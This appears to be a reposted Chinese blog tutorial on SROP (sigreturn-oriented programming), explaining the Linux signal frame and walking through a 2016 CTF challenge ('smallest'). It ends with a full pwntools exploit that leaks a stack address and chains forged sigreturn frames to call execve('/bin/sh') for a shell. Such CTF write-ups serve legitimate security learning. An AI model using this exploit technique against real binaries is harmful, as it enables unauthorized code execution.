SROP高级栈溢出利用思路

2023-10-31 15:40
文章标签 高级 溢出 思路 srop

本文主要是介绍SROP高级栈溢出利用思路,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

[md]# SROP
为了补之前想快进到堆而掠过高级栈溢出,这里陆陆续续会补回来

基本介绍

SROP(Sigreturn Oriented Programming) 于 2014 年被 Vrije Universiteit Amsterdam 的 Erik Bosman 提出,其相关研究Framing Signals — A Return to Portable Shellcode发表在安全顶级会议 Oakland 2014 上,被评选为当年的 Best Student Papers。
今天先多讲一句,这个漏洞的利用大多数是依靠在底层内核的系统调用相关方面的知识,所以在我们现在处于的用户态不需要讲解代码,所以图会多点。
在这个利用过程之中,sigreturn是一个系统调用,他也是今天的重要内容,也是攻击的核心,在类 unix 系统发生 signal 的时候会被间接地调用。

signal机制

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

  1. 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

这里我来提一嘴,那就是大伙在这里看到内核其实对于今天知识的讲解关系不大,我们需要了解的仅仅只是这个回复上下文的系统调用而已。

对于 signal Frame 来说,会因为架构的不同而有所区别,这里给出分别给出 x86 以及 x64 的 sigcontext

  • x86
struct sigcontext
{unsigned short gs, __gsh;unsigned short fs, __fsh;unsigned short es, __esh;unsigned short ds, __dsh;unsigned long edi;unsigned long esi;unsigned long ebp;unsigned long esp;unsigned long ebx;unsigned long edx;unsigned long ecx;unsigned long eax;unsigned long trapno;unsigned long err;unsigned long eip;unsigned short cs, __csh;unsigned long eflags;unsigned long esp_at_signal;unsigned short ss, __ssh;struct _fpstate * fpstate;unsigned long oldmask;unsigned long cr2;
};
  • x64

struct _fpstate
{/* FPU environment matching the 64-bit FXSAVE layout.  */__uint16_t        cwd;__uint16_t        swd;__uint16_t        ftw;__uint16_t        fop;__uint64_t        rip;__uint64_t        rdp;__uint32_t        mxcsr;__uint32_t        mxcr_mask;struct _fpxreg    _st[8];struct _xmmreg    _xmm[16];__uint32_t        padding[24];
};struct sigcontext
{__uint64_t r8;__uint64_t r9;__uint64_t r10;__uint64_t r11;__uint64_t r12;__uint64_t r13;__uint64_t r14;__uint64_t r15;__uint64_t rdi;__uint64_t rsi;__uint64_t rbp;__uint64_t rbx;__uint64_t rdx;__uint64_t rax;__uint64_t rcx;__uint64_t rsp;__uint64_t rip;__uint64_t eflags;unsigned short cs;unsigned short gs;unsigned short fs;unsigned short __pad0;__uint64_t err;__uint64_t trapno;__uint64_t oldmask;__uint64_t cr2;__extension__ union{struct _fpstate * fpstate;__uint64_t __fpstate_word;};__uint64_t __reserved1 [8];
};

最后,signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15(调用号记孰,这里就跟read的0,write的1一样)。


攻击原理

仔细回顾一下内核在 signal 信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是:

  • Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。

  • 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。

    说到这里,其实,SROP 的基本利用原理也就出现了。
    其大致思路也就是在栈上伪造寄存器信息然后进行sigreturn系统调用,其实还蛮直观的,对于这个如何构造而言,由于这里我们会将所有的用户态寄存器都进行保存压栈,所以咱们人力来构造难免会有疏漏的地方,而且着本身也是个机械化的没技术含量的活,所以我们就交给了自动化程序处理,在目前的pwntools中就存在这样一个工具,这个工具的简单用法我写到下面

read = SigreturnFrame()           #此方法为pwntools内置函数
read.rax = constants.SYS_read #read函数系统调用号
read.rdi = 0  #read函数一参
read.rsi = stack_addr  #read函数二参
read.rdx = 0x400  #read函数三参
read.rsp = stack_addr  #构造rsp寄存器值
read.rip = syscall_ret #使得rip指向syscall的位置,在部署好read函数之后能直接调用0

可以看出工具的使用还是十分直观的

例题:2016-360春秋杯-srop

首先还是进行check检查

嗯十分友好,接下来看看程序主体部分。
由于这个程序十分简单,我们直接用objdump进行观看

是的没看错,就这么简单,大致讲解下代码含义:
1. xor %rax,%rax //这里是将rax进行异或,咱们相同值异或结果为0,所以这里的含义即为将rax清0
2. mov %0x400,%edx //移入0x400到edx中
3. mov %rsp,%rsi //将栈首地址移入rsi中
4. mov %rax,%rdi //将rax移入rdi中
5. syscall //根据rax的值进行系统调用
6. ret

由于是64位程序,所以这里咱们可以知道这个函数是进行了read的系统调用,其参数分别处于rdi,rsi,rdx中,分别为0,站地址,0x400,也就是说从输入端读入0x400个字节至栈顶部分。
这里咱们首先想到[/md][md]修改rax来执行系统调用,但是我们如何在仅有的汇编代码下实现修改rax呢,可能有人会想到SROP,嗯,小伙子反应的很快,但是咱们这里还暂时用不了,所以我们这里利用了一个小技巧,那就是在进行read函数调用的过程中,rax会记录你总共所输入的字节数,所以我们会想到,如果咱们在这儿输入特定大小的值,那不就可以任意构造rax了嘛,这里我们进行实验给大伙看看。


这里是第一次执行syscall时的栈结构

按照程序原来的意思执行一次read函数的系统调用后,此时我们任意输入一个值,我这里输入abcde

可以看到这里咱们的栈是任由咱们写的,然后下一条指令又是ret,所以我们会在此时跳转到我们写的这个值这里,在这儿也就是 call 0xa6564636261,所以咱们这里有那么点想法,如果咱们要修改rax的值,那肯定要绕过第一条xor指令,所以咱们可以在栈上首先构造三个0x4000b0,至于为什么是三个,我之后会进行讲解。

第一步

在第一次read系统调用后,咱们输入三个0x4000b0(也即是xor的地址,由于没开地址随机,所以此值固定),此时栈结构如下

此时ret之后,咱们会跳转至xor进行重新一论的程序执行,在执行read的系统调用时,咱们输入‘\xb3’,这样的话会将第二个0x4000b0修改为0x4000b3,并且此时他是在栈上的,而且由于咱们现如今输入一个字节,所以rax也会加一,我们来调试看看是否如此

可以看到确实修改成功,而此时根据程序流程,我们将会跳到0x4000b3进行执行,也就跳过了清空rax的过程,所以此时咱们(由于rax = 1)就会接着执行write的系统调用,并且打印出了栈顶地址,执行效果如下

第二步

    这里还有个小知识,那就是关于系统调用号,这里给出64位的相关调用号
系统调用调用号函数原型
read0read( int fd, void *buf, size_t count )
write1write( int fd, const void *buf, size_t count )
sigreturn15int sigreturn( … )
execve59execve( const char *filename, char *const argv[], char *const envp[] )

执行到这里,由于咱们泄露出了栈顶地址,所以咱们最好就少动他,因为咱们之后要用到他的,所以咱们来小试牛刀一把,先利用SROP的思路进行read系统调用。
还记得咱们有三个0x4000b0么,此时还剩下最后一个,所以咱们此时在执行完write的系统调用之后会继续跳转到xor指令,但此时咱们不同了,这次咱们在栈上构造的为0x4000b0 + syscall地址 + read函数的伪造寄存器压栈值,这里我会讲解为何如此构造。
首先构造0x40000b0的目的是方便下一次执行循环,且下一次执行循环之后栈顶上的值会变为
syscall的地址,此时若在此轮read中咱们输入15个值,即可进行sigreturn的系统调用,但是如何输入值却又不改变栈上的值呢,那就是输入同样的值不就行了.
而在进行如下构造

read = SigreturnFrame()
read.rax = constants.SYS_read #read函数系统调用号
read.rdi = 0  #read函数一参
read.rsi = stack_addr  #read函数二参
read.rdx = 0x400  #read函数三参
read.rsp = stack_addr  #和rsi寄存器中的值保持一致,确保read函数写的时候rsp指向stack_addr
read.rip = syscall_ret #使得rip指向syscall的位置,在部署好read函数之后能直接调用0
pl2 = p64(0x4000b0) + p64(syscall_ret) + bytes(read)
pause()
#==== third read ====#
io.send(pl2)    #orchestral stack
#gdb.attach(io)
#pause()
#==== fourth read ====#
io.send(pl2[8:8+15]) #put in place,so that we can syscall(rax:15) for sigreturn

其中后面的send即为修改rax所发送的,注意在本次系统调用是咱们自主调用而不是依照程序流程所得,在此之后由于咱们对于sigreturnframe的构造,接下来会进行read的系统调用。

第三步

由于又是一次read的系统调用,所以此时咱们还是选择类似上面write一样进行execve系统调用,只不过这里利用了点sigreturn的知识,这里还有个需要注意的点那就是/bin/sh的构造是构造到栈上然后自行计算偏移地址,这里我就不多讲了想必大伙已经捻熟于心,所以此次执行后再次进行SROP攻击,最终结果如下

大获全胜!!!

总结

总结是什么呢,总结就是注意点send和sendline的区别,还有就是经过sigreturnframe构造的串,用bytes(read)跟用bytes(str(read),‘utf8’)不一样,坑死我了。对于今天攻击的技巧而言更多是对syscall等系统调用的深入理解了。


以下附上exp:

from pwn import *
io = process('./smallest')
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.terminal = ['tmux','splitw','-h']
syscall_ret = 0x4000be
#==== first read ====#
pl = p64(0x4000b0)*3
gdb.attach(io)
io.send(pl)         #let the ret_addr to 0x4000b0
pause()
#==== second read ====#
io.send('\xb3')     #let the ret_addr to 0x4000b3
io.recv(8)          #rax is 0x1,syscall for write
stack_addr = u64(io.recv(8))
io.success('stack_addr ==>'+hex(stack_addr))
read = SigreturnFrame()
read.rax = constants.SYS_read #read函数系统调用号
read.rdi = 0  #read函数一参
read.rsi = stack_addr  #read函数二参
read.rdx = 0x400  #read函数三参
read.rsp = stack_addr  #和rsi寄存器中的值保持一致,确保read函数写的时候rsp指向stack_addr
read.rip = syscall_ret #使得rip指向syscall的位置,在部署好read函数之后能直接调用0
pl2 = p64(0x4000b0) + p64(syscall_ret) + bytes(read)
pause()
#==== third read ====#
io.send(pl2)    #orchestral stack
#gdb.attach(io)
#pause()
#==== fourth read ====#
io.send(pl2[8:8+15]) #put in place,so that we can syscall(rax:15) for sigreturn#==== sigreturn read ====#
execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = stack_addr + 0x120
execve.rsi = 0
execve.rdx = 0
execve.rsp = stack_addr
execve.rip = syscall_retpl3 = p64(0x4000b0) + p64(syscall_ret) +  bytes(execve)
print(len(pl3))
#pause()
pl3 += (0x120 - len(pl3))*b'\x00' + b'/bin/sh\x00'io.send(pl3)
#pause()
io.send(pl3[8:8+15])
#gdb.attach(io)
io.interactive()```[/md]

这篇关于SROP高级栈溢出利用思路的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/316375

相关文章

Java循环创建对象内存溢出的解决方法

《Java循环创建对象内存溢出的解决方法》在Java中,如果在循环中不当地创建大量对象而不及时释放内存,很容易导致内存溢出(OutOfMemoryError),所以本文给大家介绍了Java循环创建对象... 目录问题1. 解决方案2. 示例代码2.1 原始版本(可能导致内存溢出)2.2 修改后的版本问题在

JAVA利用顺序表实现“杨辉三角”的思路及代码示例

《JAVA利用顺序表实现“杨辉三角”的思路及代码示例》杨辉三角形是中国古代数学的杰出研究成果之一,是我国北宋数学家贾宪于1050年首先发现并使用的,:本文主要介绍JAVA利用顺序表实现杨辉三角的思... 目录一:“杨辉三角”题目链接二:题解代码:三:题解思路:总结一:“杨辉三角”题目链接题目链接:点击这里

Python中列表的高级索引技巧分享

《Python中列表的高级索引技巧分享》列表是Python中最常用的数据结构之一,它允许你存储多个元素,并且可以通过索引来访问这些元素,本文将带你深入了解Python列表的高级索引技巧,希望对... 目录1.基本索引2.切片3.负数索引切片4.步长5.多维列表6.列表解析7.切片赋值8.删除元素9.反转列表

正则表达式高级应用与性能优化记录

《正则表达式高级应用与性能优化记录》本文介绍了正则表达式的高级应用和性能优化技巧,包括文本拆分、合并、XML/HTML解析、数据分析、以及性能优化方法,通过这些技巧,可以更高效地利用正则表达式进行复杂... 目录第6章:正则表达式的高级应用6.1 模式匹配与文本处理6.1.1 文本拆分6.1.2 文本合并6

透彻!驯服大型语言模型(LLMs)的五种方法,及具体方法选择思路

引言 随着时间的发展,大型语言模型不再停留在演示阶段而是逐步面向生产系统的应用,随着人们期望的不断增加,目标也发生了巨大的变化。在短短的几个月的时间里,人们对大模型的认识已经从对其zero-shot能力感到惊讶,转变为考虑改进模型质量、提高模型可用性。 「大语言模型(LLMs)其实就是利用高容量的模型架构(例如Transformer)对海量的、多种多样的数据分布进行建模得到,它包含了大量的先验

系统架构师考试学习笔记第三篇——架构设计高级知识(20)通信系统架构设计理论与实践

本章知识考点:         第20课时主要学习通信系统架构设计的理论和工作中的实践。根据新版考试大纲,本课时知识点会涉及案例分析题(25分),而在历年考试中,案例题对该部分内容的考查并不多,虽在综合知识选择题目中经常考查,但分值也不高。本课时内容侧重于对知识点的记忆和理解,按照以往的出题规律,通信系统架构设计基础知识点多来源于教材内的基础网络设备、网络架构和教材外最新时事热点技术。本课时知识

三相直流无刷电机(BLDC)控制算法实现:BLDC有感启动算法思路分析

一枚从事路径规划算法、运动控制算法、BLDC/FOC电机控制算法、工控、物联网工程师,爱吃土豆。如有需要技术交流或者需要方案帮助、需求:以下为联系方式—V 方案1:通过霍尔传感器IO中断触发换相 1.1 整体执行思路 霍尔传感器U、V、W三相通过IO+EXIT中断的方式进行霍尔传感器数据的读取。将IO口配置为上升沿+下降沿中断触发的方式。当霍尔传感器信号发生发生信号的变化就会触发中断在中断

Jenkins 插件 地址证书报错问题解决思路

问题提示摘要: SunCertPathBuilderException: unable to find valid certification path to requested target...... 网上很多的解决方式是更新站点的地址,我这里修改了一个日本的地址(清华镜像也好),其实发现是解决不了上述的报错问题的,其实,最终拉去插件的时候,会提示证书的问题,几经周折找到了其中一遍博文

Java基础回顾系列-第七天-高级编程之IO

Java基础回顾系列-第七天-高级编程之IO 文件操作字节流与字符流OutputStream字节输出流FileOutputStream InputStream字节输入流FileInputStream Writer字符输出流FileWriter Reader字符输入流字节流与字符流的区别转换流InputStreamReaderOutputStreamWriter 文件复制 字符编码内存操作流(

Java基础回顾系列-第五天-高级编程之API类库

Java基础回顾系列-第五天-高级编程之API类库 Java基础类库StringBufferStringBuilderStringCharSequence接口AutoCloseable接口RuntimeSystemCleaner对象克隆 数字操作类Math数学计算类Random随机数生成类BigInteger/BigDecimal大数字操作类 日期操作类DateSimpleDateForma